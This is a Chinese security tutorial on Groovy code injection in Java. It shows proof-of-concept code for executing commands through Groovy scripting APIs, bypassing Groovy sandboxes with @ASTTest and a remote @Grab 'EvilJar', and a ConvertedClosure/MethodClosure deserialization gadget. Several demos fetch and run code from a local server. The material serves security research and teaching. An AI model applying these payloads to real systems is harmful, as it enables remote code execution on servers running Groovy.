简述
Groovy是Apache 旗下的一种基于JVM的面向对象编程语言,既可以用于面向对象编程,也可以用作纯粹的脚本语言。在语言的设计上它吸纳了Python、Ruby 和 Smalltalk 语言的优秀特性,比如动态类型转换、闭包和元编程支持。Groovy与 Java可以很好的互相调用并结合编程 ,比如在写 Groovy 的时候忘记了语法可以直接按Java的语法继续写,也可以在 Java 中调用 Groovy 脚本。比起Java,Groovy语法更加的灵活和简洁,可以用更少的代码来实现Java实现的同样功能。
特点
-
同时支持静态和动态类型;
-
支持运算符重载;
-
本地语法列表和关联数组;
-
对正则表达式的本地支持;
-
各种标记语言,如XML和HTML原生支持;
-
Groovy对于Java开发人员来说很简单,因为Java和Groovy的语法非常相似;
-
可以使用现有的Java库;
-
Groovy扩展了java.lang.Object;
Groovy 代码注入
maven 导入Groovy 后,
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.15</version>
</dependency>
可以直接在idea里运行groovy脚本和类。
groovy 可以直接执行Java 代码,也可以按照自己的语法来执行。
比如
Runtime.getRuntime().exec("calc")和"whoami".execute() 本质相同
println "whoami".execute().text 还支持回显
groovy 支持单引号闭合字符串。
还可以像php一样"${"whoami".execute().text}"
MethodClosure
从名字就可以知道,这是一个方法闭包,使用方法闭包来代替对象的某个方法,方便调用。
构造函数第一个参数是对象,第二个参数是对象的方法。
并调用call方法对闭包进行调用。
package com.groovy;
import org.codehaus.groovy.runtime.MethodClosure;
public class Groovy1 {
public static void main(String[] args) throws Exception{
// MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
// mc.call("calc");
MethodClosure mc = new MethodClosure("calc","execute");
mc.call();
}
}
GroovyShell
GroovyShell
这个类 主要有三个方法 evaluate run parse
evaluate
有多种重载,支持从 String,File,URI,Reader,GroovyCodeSource
类型 以及多种的组合执行groovy
代码。基本逻辑就是获取通过groovy代码来写入或者加载远程或者本地的groovy脚本来执行命令。
parse就是返回一个groovy
脚本(groovy.lang.Script
)然后调用其run 方法执行。
run
方法就是获取groovy
脚本来直接运行,跨过evaluate
和parse
方法
下面就是简单的demo。 url
下的exp.groovy
内容就是cmd变量的值。
package com.groovy;
import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import java.io.File;
import java.net.URI;
public class Groovy1 {
public static void main(String[] args) throws Exception{
GroovyShell groovyShell = new GroovyShell();
String cmd = ""whoami".execute().text";
// System.out.println(groovyShell.evaluate(cmd));
// File file = new File("src/main/java/com/groovy/TestGroovyScipt.groovy");
// System.out.println(groovyShell.evaluate(file));
URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
// System.out.println(groovyShell.evaluate(uri));
GroovyCodeSource groovyCodeSource = new GroovyCodeSource(cmd,"","");
GroovyCodeSource groovyCodeSource1 = new GroovyCodeSource(uri);
System.out.println(groovyShell.evaluate(groovyCodeSource1));
}
}
GroovyScriptEngine
允许从指定root(可以是某文件夹,某URL,某Resource)下获取脚本来执行,还可以指定类加载器去加载。
package com.groovy;
import groovy.util.GroovyScriptEngine;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import java.net.URL;
import java.net.URLClassLoader;
public class Groovy1 {
public static void main(String[] args) throws Exception{
// GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
// scriptEngine.run("TestGroovyScipt.groovy","");
GroovyScriptEngine scriptEngine1 = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine1.run("exp.groovy","");
}
}
GroovyScriptEvaluator
这个类的 evaluate方法同样可以执行groovy代码,本质还是GroovyShell
。
不过evaluate参数需要是org.springframework.scripting.ScriptSource
接口的对象。
这个接口有两个实现类,StaticScriptSource
,ResourceScriptSource
。
前者提供脚本字符串,后者需要提供一个可以触发 org.springframework.core.io.Resource#getFilename
Resource
接口对象
package com.groovy;
import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import groovy.util.GroovyScriptEngine;
import org.springframework.core.io.FileSystemResource;
import org.springframework.scripting.ScriptSource;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import org.springframework.scripting.support.ResourceScriptSource;
import org.springframework.scripting.support.StaticScriptSource;
public class Groovy1 {
public static void main(String[] args) throws Exception{
GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
// ScriptSource scriptSource = new StaticScriptSource(""whoami".execute().text");
// System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
// FileSystemResource fileSystemResource = new FileSystemResource("src/main/java/com/groovy/TestGroovyScipt.groovy");
// ScriptSource source = new ResourceScriptSource(fileSystemResource);
// System.out.println(groovyScriptEvaluator.evaluate(source));
Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
ScriptSource source = new ResourceScriptSource(urlResource);
System.out.println(groovyScriptEvaluator.evaluate(source));
}
}
GroovyClassLoader
GroovyClassLoader
用于在Java中加载groovy 类并调用,有重写的loadClass
和 defineClass
用法大抵相同,parseClass
可以直接从文件或者字符串中获取groovy类。
package com.groovy;
import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyObject;
public class Groovy1 {
public static void main(String[] args) throws Exception{
// GroovyClassLoader classLoader = new GroovyClassLoader(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")}));
// Class clazz = classLoader.loadClass("exp");
GroovyClassLoader classLoader = new GroovyClassLoader();
// Class clazz = classLoader.parseClass(new File("src/main/java/com/groovy/Test.groovy"));
Class clazz = classLoader.parseClass("class Test {n" +
" static void main(String[] args) {n" +
" GroovyShell groovyShell = new GroovyShell()n" +
" String cmd = "\"whoami\".execute().text"n" +
" println(groovyShell.evaluate(cmd).toString())n" +
" }n" +
"}n");
GroovyObject object = (GroovyObject) clazz.newInstance();
object.invokeMethod("main","");
}
}
ScriptEngine
javax.script.ScriptEngine
想必都熟悉,我们可以使用他来执行js
脚本,当然也可以执行groovy
脚本。
package com.groovy;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
public class Groovy1 {
public static void main(String[] args) throws Exception{
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval(""whoami".execute().text"));
}
}
Bypass 沙箱
@AST注解执行断言
package com.groovy
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
''')
@Grab注解添加恶意依赖
需要导入ivy依赖
<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.4.0</version>
</dependency>
Grape is a JAR dependency manager embedded into Groovy. Grape lets you quickly add maven repository dependencies to your classpath, making scripting even easier.
package com.groovy
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name = "PoC",root = "http://127.0.0.1:8888/")
@Grab(group = "PoC",module = "EvilJar",version = "0.1")
import PoC
''');
索引会像加载maven依赖一样,如果本地仓库没有,就从服务器的 PoC/EvilJar/0.1/
目录,下载EvilJar-0.1.jar
文件,默认存储在 ~/.groovy/grapes
目录下
导入的jar包会先经过两种处理
groovy-all-2.4.15-sources.jar!/groovy/grape/GrapeIvy.groovy
其中利用了SPI机制。
processCategroyMethods
用来注册扩展方法。
processOtherServices
用来发现并处理其他服务,比如META-INF/services/org.codehaus.groovy.plugins.Runners
根据代码可以大概总结为,从上述接口文件中,遍历所有不是#开头的行,获取每行的类名然后加载并实例化。
利用
package com.groovy
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name = "PoC",root = "http://127.0.0.1:8888/")
@Grab(group = "PoC",module = "EvilJar",version = "0.1")
import java.lang.String
''');
这里的注解需要加载import上,所以随便import一个类就行。
Groovy反序列化
在Groovy中,闭包是允许被序列化的。
MethodClosure
的call
方法可以用来执行命令,
需要找到一个可以触发call
方法,在org.codehaus.groovy.runtime.ConvertedClosure#invokeCustom
里可以找到触发,
可以看到ConvertedClosure
的继承关系如下,
说白了,他就是动态代理里的handler
类,他的文档解释说这个类是一个通用适配器,用于将Java接口调用映射到给定的委托。
这里的委托就是构造时传入的闭包。
看一下他的invoke
方法的定义
对声明类不是 Object 的方法的任何调用(不包括 toString() 和默认方法)都将重定向到 invokeCustom。
checkMethod
就是检查是不是Object类的方法,比如,hashCode
,equals
,toString
等。
只有方法名和代理对象调用的方法名相同时才能调用call方法。
package com.groovy;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
import java.util.Map;
public class Groovy1 {
public static void main(String[] args) throws Exception{
MethodClosure mc = new MethodClosure(Runtime.getRuntime(),"exec");
ConvertedClosure convertedClosure = new ConvertedClosure(mc,"get");
Map map = (Map) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Map.class},convertedClosure);
map.get("calc");
}
}
为什么用get,因为代理执行结果与对应方法的类型不匹配,会报错,不过并不影响命令执行。可以像cc一样去找调用了get
方法的地方,但是还得保证get
的参数是可控的,有点鸡肋。不过还有各种类的各种方法可以代理。看一下yso的调用链。
优先队列反序列化时会对元素进行比较(ref:p牛星球),所以只需要创建一个Comparable
的代理对象就可以了。
package com.groovy;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
public class Groovy1 {
public static void main(String[] args) throws Exception{
MethodClosure mc = new MethodClosure(Runtime.getRuntime(),"exec");
ConvertedClosure convertedClosure = new ConvertedClosure(mc,"compareTo");
Comparable comparator = (Comparable) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Comparable.class},convertedClosure);
comparator.compareTo("calc");
}
}
还可以代理无参数的方法触发命令执行。
package com.groovy;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
import java.util.Map;
public class Groovy1 {
public static void main(String[] args) throws Exception{
MethodClosure mc = new MethodClosure("calc","execute");
ConvertedClosure convertedClosure = new ConvertedClosure(mc,"entrySet");
Map map = (Map) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Map.class},convertedClosure);
map.entrySet();
}
}
entrySet 方法可以参考sun.reflect.annotation.AnnotationInvocationHandler#readObject
参考
https://www.mi1k7ea.com/2020/08/26/%E4%BB%8EJenkins-RCE%E7%9C%8BGroovy%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5/#Groovy%E7%AE%80%E4%BB%8B
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Groovy1.java
来源:https://xz.aliyun.com/t/10703,感谢:j1ang
欢迎进群交流
原文始发于微信公众号(衡阳信安):Java安全-Groovy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论